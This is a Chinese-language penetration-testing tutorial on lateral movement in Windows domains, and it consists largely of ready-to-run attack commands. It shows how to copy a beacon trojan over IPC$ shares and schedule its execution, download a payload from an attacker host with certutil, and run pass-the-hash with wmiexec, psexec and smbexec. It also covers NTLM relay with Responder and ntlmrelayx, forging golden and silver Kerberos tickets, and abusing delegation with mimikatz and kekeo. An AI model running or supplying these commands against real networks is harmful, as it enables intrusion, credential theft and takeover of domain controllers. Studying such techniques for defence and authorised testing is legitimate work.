Windows内网渗透_5.横向移动
5.1、账号密码链接
当我们获取到机器的账号密码的时候,可以尝试用以下几种方式进行连接并执行命令。
1.IPC 横向
IPC (Internet Process Connection) 共享命名管道的资源,是为了实现进程间通信而开放的命名管道。IPC 可以通过验证用户名和密码获得相应的权限,使用 139、445 端口。
1.1 利用条件
1、目标机开启了139和445端口;
2、目标主机管理员开启了ipc$默认共享;
3、知道目标机的账户密码。
1.2 命令
建立IPC连接命令:
net use \\191.168.52.136\ipc$ "password" /user:"Administrator"
断开连接:
net use \\x.x.x.x\ipc$ /del
查看连接是否建立:
net use
建立 IPC 连接后可以使用计划任务执行木马上线。
拷贝木马:
copy beacon.exe \\191.168.52.136\c$
创建计划任务(at<2012、schtasks>=2012):
at \\191.168.52.136 15:47 c:\beacon.exe
2.WMI 横向
WMI 全称 “windows 管理规范”,从 win2003 开始一直存在。它原本的作用是方便管理员对 windows 主机进行管理。因此在内网渗透中,我们可以使用 WMI 进行横向移动。
2.1 利用条件
1、WMI服务开启,端口135,默认开启。
2、防火墙允许135、445等端口通信。
3、知道目标机的账户密码。
2.2 wmic
wmic /node:191.168.52.136 /user:xxxx /password:xxxxx process call create "cmd.exe /c ipconfig>d:\result.txt"
无需上传第三方软件,利用系统内置程序,单命令执行,执行后无结果回显
2.3 cscript
cscript //nologo wmiexec.vbs /shell 191.168.52.136
需上传wmiexec.vbs然后进入该服务器内进行执行
2.4 wmiexec
1.执行命令:
python wmiexec.py ./:@192.168.52.136 "cmd.exe /c certutil -urlcache -split -f http://192.168.52.137:8090/wmi.exe C:\wmi.exe"
2.用hash的方式:
python wmiexec.py -hashes :36ec9d73422e1bf53b84fdb16a8e4198 ./qaxnb@192.168.52.136 "whoami"
第三方软件 (交互式&单执行),容易被杀
2.5
Invoke-WmiMethod -class win32_process -name create -argumentlist 'notepad' -ComputerName 172.16.127.184 -Credential 'jumbolab.com\win7user'
2.6
$filterName = 'BotFilter82'
$consumerName = 'BotConsumer23'
$exePath = 'C:\Windows\System32\notepad.exe'
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop -ComputerName 172.16.127.184 -Credential ‘jumbolab.com\win7user’
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath} -ComputerName 172.16.127.184 -Credential 'jumbolab.com\win7user'Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
3.smb 横向
利用 SMB 服务可以通过明文或 hash 传递来远程执行。
3.1 利用条件
1、445端口开放
2、知道账号密码
3.2 psexec(微软官方工具)
PsExec64.exe \\192.168.52.136 -u <username> -p <password> -s cmd
3.3 psexec(impacket 工具)
python psexec.py -hashes :36ec9d73422e1bf53b84fdb16a8e4198 ./qaxnb@192.168.52.136
3.4 smbexec
python smbexec.py ./:@192.168.52.136
4、Schtasks
schtasks /create /s 1.1.1.1 /u domain\Administrator /p password /ru "SYSTEM" /tn "windowsupdate" /sc DAILY /tr "calc" /F schtasks /run /s 1.1.1.1 /u domain\Administrator /p password /tn windowsupdate
5、AT
at \\1.1.1.1 15:15 calc
6、SC
sc \\1.1.1.1 create windowsupdate binpath= "calc"sc \\1.1.1.1 start windowsupdate
7、REG
reg add \\1.1.1.1\HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v myentry /t REG_SZ /d "calc"
8、DCOM
方法一
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","1.1.1.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
方法二
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"1.1.1.1")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
方法三
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"1.1.1.1")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
9、WINRM
利用条件
1、在win 2012之后(包括win 2012)的版本是默认开启的,win 2012之前利用需要手动开启winRM。
2、防火墙对5986、5985端口开放。
winrs -r:http://1.1.1.1:5985 -u:Administrator -p:password "whoami"winrs -r:http://dcserver.jumbolab.com:5985 -u:jumbolab\administrator -p:password "whoami "
10、wmiexec
1、执行命令:
python wmiexec.py ./:@192.168.52.136 "cmd.exe /c certutil -urlcache -split -f http://192.168.52.137:8090/wmi.exe C:\wmi.exe"
2、用hash的方式:
python wmiexec.py -hashes :36ec9d73422e1bf53b84fdb16a8e4198 ./qaxnb@192.168.52.136 "whoami"
第三方软件 (交互式&单执行),容易被杀
5.2、PTH
当我们没有明文账号密码,只有hash时,可以尝试hash传递。
5.2.1 impacket套件
项目地址:https://github.com/SecureAuthCorp/impacket
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c domain/administrator@1.1.1.1 "whoami"
psexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:518B98AD4178A53695DC997AA02D455C domiain/administrator@1.1.1.1 "whoami"
smbexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:CCEF208C6485269C20DB2CAD21734FE7 domiain/administrator@1.1.1.1 "whoami"
5.2.2 Invoke-TheHash套件
项目地址:https://github.com/Kevin-Robertson/Invoke-TheHash/
Invoke-WMIExec -Target 1.1.1.1 -Domain test.local -Username username -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose
Invoke-SMBExec -Target 1.1.1.1 -Domain test.local -Username username -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose
5.3、NTLM-Relay
上述都是“主动性”的攻击行为,也就是主动去连接别人,那我们也可以尝试“被动性”攻击,当别人访问我们时,或者说是无感知访问时,我们能做什么操作?
实验环境:
win7172.16.127.184 普通域用户
win10172.16.127.170 域管
dcserver172.16.127.173 域控
kali172.16.127.129 攻击机
利用工具:
Responder、impacket
5.3.1 LLMNR
攻击手法v1.0
访问一台不存在的机器jumbo02,是以下这个结果
攻击机执行
responder -I eth0
客户端访问jumbo02提示需要输入密码
输入密码后,攻击机收到net-ntlm:
收到net-ntlm以后我们就可以尝试利用hashcat进行破解等攻击。
5.3.2 WPAD
攻击手法v1.0
访问存在的网站 www.chinabaiker.com ,可是不小心打错了一个字母或者多打少打了一个字母,默认会直接跳到搜到引擎上去,或者提示无法访问,比如 www.chinabaikee.com
那如果我们伪造wpad服务器的话,首先攻击机执行
responder -I eth0 -wFb
这里使用-b参数强制使用401认证
客户端访问一个不存在的域名时会跳出登录框
输入账号密码以后,我们收到明文账号密码
攻击手法v1.1
利用msf配置burp演示代理抓取客户端流量
攻击机执行
use auxiliary/spoof/nbns/nbns_response
set regex WPAD
set spoofip attackiprun
use auxiliary/server/wpad
set proxy 172.16.127.155
run
打开burp,以下只在非域内但是同一个网络中的机器的firefox成功
为什么会出现上面的问题呢,实际上是因为MS16-077补丁问题。
利用mitm6让客户端设置我们为ipv6 dns服务器
wpad成功在chrome上欺骗
PS:以上成功还是在非域内机器。
攻击手法v2.0
上面说了多,最重要的不过还是权限。大家应该知道smb relay,但是这个漏洞很早就在MS08-068补丁中被修复了。但是这个不妨碍我们在未校验smb签名等情况下进行NTLM-Relay转发。我们执行responder,首先关闭掉smb,给接下来的ntlmrelayx使用。
responder -I eth0ntlmrelayx.py -t 172.16.127.173 -l ./
域管机器访问不存在的机器时,会中继到域控机器,我们成功获取shell
5.4、域信任
当存在子父域时,默认其是双向信任。可以利用sid history跨域提权。流程大致如下:
利用如下,使用mimikatz获取子域的Krbtgt Hash:
lsadump::lsa /patch
再使用powerview获取父域的sid:
Get-DomainComputer -Domain jumbolab.com
然后添加一个sid=519的企业管理员,利用mimikatz执行如下命令:
kerberos::golden /user:Administrator /krbtgt:5a1c26831592774a17f70370b8606449 /domain:child.jumbolab.com /sid:S-1-5-21-1786649982-4053697927-1628754434 /sids:S-1-5-21-4288736272-2299089681-4131927610-519 /ptt
最终成功获取父域权限:
5.5、攻击Kerberos
在域中,最核心的就是kerberos协议了,但是也会出现各种安全问题,甚至可以以一个普通域用户提权到system权限,配置不当甚至可以获取到域控权限。
5.5.1 PTT
当我们抓取到了krbtgt hash时,能做什么?继续往下看。
5.5.1.1 金票据
上面提到了ms14-068,也介绍Kerberos协议,知道了TGT是由krbtgt加密而成。因此当拿到krbtgt账号hash时,就可以构造一个任意权限的tgt了:
使用方法:
mimikatzkerberos::purgekerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt: krbtgt hash值 /ticket:administrator.kiribikerberos::ptt administrator.kiribikerberos::tgtdir \dc.domain.com\c$
5.5.1.2 银票据
上面的金票据是伪造的TGT,银票据是伪造TGS,由服务账号密码加密而成。
利用方法:
mimikatz.exe “kerberos::golden /domain:域 /sid:SID /target:域控全称 /service:要访问的服务,如cifs /rc4:NTLM,计算机账号hash /user:user /ptt”dir \server\c$
5.5.1.3kekeo
利用kekeo进行ptt:
kekeo “tgt::ask /user:test1 /domain:test.local /ntlm:7ECFFFF0C3548187607A14BAD0F88BB1”
执行后生成票据 TGT_test1@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi
接下来导入票据:
kekeo “kerberos::ptt TGT_test1@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi”dir \server\c$
5.5.2委派
5.5.2.1 基于资源的约束委派
个人简单理解为A机器设置基于资源的约束委派给B(设置msDS-AllowedToActOnBehalfOfOtherIdentity属性),则B可以通过s4u协议申请高权限票据对A进行利用。利用过程如下:
普通域用户默认可以添加10个机器账号,添加spnspnspn$并设置msds-allowedtoactonbehalfofotheridentity:
get-adcomputer win7 -properties principalsallowedtodelegatetoaccount
利用s4u协议申请高权限票据:
getST.py -dc-ip 172.16.127.173 jumbolab.com/spnspnspn$:spnspnspn -spn cifs/win7.jumbolab.com -impersonate administrator
导入票据:
export KRB5CCNAME=administrator.ccache
访问目标机器:
smbexec.py -no-pass -k -debug win7.jumbolab.com
5.5.2.2非约束委派
个人简单理解为user访问service1服务时,如果service1服务开启了非约束委派,则在user访问service1服务时,会把自身的tgt发送给service1,因此service1可以利用user的tgt去访问user可以访问的服务。利用过程如下:
win7机器开启了非约束委派:
下面我们再利用Spooler打印机服务错误强制让运行了spooler服务的机器通过kerberos或ntlm的方式连接指定的目标机器:
SpoolSample.exe dcserver win7
导出tgt:
mimikatzprivilege::debugsekurlsa::tickets /export
导入票据:
kerberos::ptt [0;1f9fc7]-2-0-60a10000-DCSERVER$@krbtgt-JUMBOLAB.COM.kirbi
win7机器即可获取所有用户hash:
发现非约束委派机器可以用如下命令:
查找域中配置非约束委派用户:
Get-NetUser -Unconstrained -Domain jumbolab.com
查找域中配置非约束委派的主机:
Get-NetComputer -Unconstrained -Domain jumbolab.com
5.5.2.3 约束委派
利用过程如下:
存在服务用户,test,并设置约束委派:
服务账号可以为一个域用户设置spn即可:
setspn.exe -U -A test/test test
申请tgt:
kekeo:tgt::ask /user:test /domain:jumbolab.com /password:aA123456
利用生成的tgt申请st:
kekeo:tgs::s4u /tgt:TGT_test@JUMBOLAB.COM_krbtgt~jumbolab.com@JUMBOLAB.COM.kirbi /user:Administrator@jumbolab.com /service:cifs/dcserver.jumbolab.com
导入st:
mimikatz:kerberos::ptt TGS_Administrator@jumbolab.com@JUMBOLAB.COM_cifs~dcserver.jumbolab.com@JUMBOLAB.COM.kirbi
发现约束委派机器可以用如下命令:
查找域中配置约束委派用户:
Get-DomainUser -TrustedToAuth -Domain jumbolab.com
查找域中配置约束委派的主机:
Get-DomainComputer -TrustedToAuth -Domain jumbolab.com